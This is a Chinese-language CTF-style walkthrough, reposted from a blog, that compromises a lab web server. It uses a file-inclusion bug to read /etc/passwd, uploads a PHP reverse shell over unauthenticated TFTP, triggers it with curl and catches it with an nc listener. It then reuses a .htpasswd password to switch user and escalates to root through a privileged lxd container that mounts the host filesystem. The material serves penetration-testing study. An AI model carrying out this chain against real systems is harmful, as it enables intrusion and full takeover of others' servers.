目录
前期信息收集
拿到目标的资产,先试一下IP能不能访问
探测一下目标的端口运行的是什么服务
nmap -sC -sV xx.xx9.95.185 -Pn
获取网站权限
我们可以知道目标的80端口上运行着http服务,服务器是ubuntu,,中间件是apache/2.4.29,语言可能用的是PHP的,还有一个信息资产
访问信息资产http://xx.xxx.95.185/?file=home.php,发现可以访问
收集一下这个网站的信息
点一下这些功能键,看看有什么作用,发现没有什么用
这下子,我们只能去查一下apache/2.4.29有什么漏洞
一个个翻,发现他可能存在文件包含和远程命令执行的漏洞
https://www.exploit-db.com/exploits/50383
试一下POC,/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2
返回了404报错页面,我们试一下其它的POC,/etc/passwd
说明存在文件包含漏洞,我们看一下能不能读取一下其它的敏感文件
curl 'http://xx.xxx.138.134/?file=home.php'
这个代码能直接在命令行查看网页源代码
http://xx.xxx.138.134/?file=phpinfo.php,是空白的,表示系统上没有这个文件
我们回过头继续去看/etc/passwd,发现了tftp,这个好像是传输协议,我们去搜索一下
发现确实是传输协议,而且还是文件传输协议,去搜索一下,看看这个协议之前有没有出过漏洞
http://blog.iis7.com/article/15496.html
这篇文章示例,我们参考一下
tftp使用的是udp协议,默认端口是69,我们使用nmap扫描一下udp端口,看一下
nmap -sU IP地址
扫描出存在69端口,说明服务器有使用tftp传输协议,前面nmap没有扫描到,是因为前面检测的是TCP的端口,UDP这块没有检测到
我们接下来用tftp软件去连接UDP 69端口,查看一下tftp的帮助文件,了解一下这个简单文件传输协议都有什么命令
apt install tftp
man tftp
因为tftp协议是不校验账号密码的,所以我们可以直接使用这个协议把木马文件上传上去,我们现在的想法是把shell脚本给上传上去,因为我们前面通过信息收集知道这个服务器有使用php语言的环境,所以我们上传的是PHP语言的木马,下面这个是反向shell木马的部分内容
$ip指的是我们公网服务器连接内网目标主机的端口IP
$port指的是我们公网服务器运行NC监听的端口
先获取我们的公网服务器IP地址
在root目录下创建shell.php,并且内容如下
连接tftp协议,上传反向shell.php脚本
现在文件上传成功,我们需要在本地开启nc监听端口,接收传回来的信息
nc -lnvp 334
因为这个网站存在文件包含漏洞,所以我们可以访问我们上传上去的反向shell文件,触发木马文件,以进行连接;我们通过前面的etc/passwd文件,知道我们上传上去的文件是保存在/var/lib/tftpboot
上命令,成功访问到该文件
curl 'http://xx.xxx.95.185/?file=/var/lib/tftpboot/shell.php'
收到反弹shell
返回200,说明文件存在
在shell里面输入命令,查看一下系统文件
ls
uname -a
查看服务器的操作系统信息
whoami
看一下我们当前的角色
我们需要进行提权,但是我们收到命令界面不是完全交互式的,我们输入下面命令,让我们更好操作一点
python3 -c 'import pty;pty.spawn("/bin/bash")'
获取服务器权限
提权的最好方式就是去寻找服务器上有没有存放账号密码的地方,而这个地方通常是web服务器目录下面,通过passwd文件,我们知道web服务器目录存放在var/www,我们去这个目录下面看看
确实是web目录,我们进入网站源代码下面去看看,发现了一个可能存放账号密码的文件
我们打开看看
cat .htpasswd
这是一个网站的账号密码并且通过passwd,我们知道服务器有一个账号名是mike的,并且权限要比www-data大
看一下另外一个隐藏文件夹
cat .htaccess
一般来说账号的密码都是通用的,我们可以试着登一下服务器mike的账号
su mike
登录成功
查看一下这个账号的权限和组
id
groups
纵向提权
lxd是什么,不知道,我们去搜索一下
https://blog.csdn.net/yaxuan88521/article/details/128065158
https://www.freebuf.com/articles/system/216803.html
Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。
Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。
通过网上去了解lxd,我们知道LXD是一个轻量级容器管理程序,这个程序存在漏洞,可以用来提权,我们参考FB复现一波
先从GitHub库下载构建好的Alpine:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
上面的命令运行完,是下面这个结果
之后我们需要将tar.gz文件发送至目标系统,我这边选择的是2021版本
python -m http.server
cd /tmp
wget http://xx.xx.15.157:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
使用“list”命令即可检查可用的容器列表
lxc image list
进入容器之后,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
Id
提权成功
cd /mnt/root/root
cd /mnt/root/
标签:文件,包含,漏洞,2e,本地,服务器,tftp,我们,2e%
From: https://blog.csdn.net/m0_53008479/article/details/136767854